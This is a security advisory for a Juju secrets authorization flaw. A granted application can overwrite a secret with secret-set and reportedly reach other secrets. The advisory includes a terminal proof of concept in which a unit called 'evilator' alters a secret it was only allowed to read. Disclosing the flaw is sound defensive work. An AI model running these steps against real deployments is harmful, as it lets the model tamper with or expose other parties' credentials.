Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy.
Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.
When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.
Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.
Tested: - two applications in the same controller, same model: one owns the secret, another get a grant - relation between them - secret grant - Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI
Not tested: - admin (user) secrets - cross-model relations - cross-controller relations
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
workload-version: 24.2.0
opened-ports: []
charm: ch:amd64/nginx-ingress-integrator-203
leader: true
life: alive
relation-info:
- relation-id: 11
endpoint: ingress
related-endpoint: ingress
application-data: {}
related-units:
evilator/0:
in-scope: true
data:
egress-subnets: 10.152.183.39/32
ingress-address: 10.152.183.39
private-address: 10.152.183.39
- relation-id: 10
endpoint: nginx-peers
related-endpoint: nginx-peers
application-data: {}
local-unit:
in-scope: true
data:
egress-subnets: 10.152.183.135/32
ingress-address: 10.152.183.135
private-address: 10.152.183.135
provider-id: ingress2-0
address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11"
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now"
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0"
nice: who-is-nice-now
When the grantee attempts to update the the granted secret:
secret-set command logs an error, though returns OK return status{
"nvd_published_at": "2026-03-18T13:16:18Z",
"severity": "HIGH",
"github_reviewed": true,
"cwe_ids": [
"CWE-284"
],
"github_reviewed_at": "2026-03-19T17:43:37Z"
}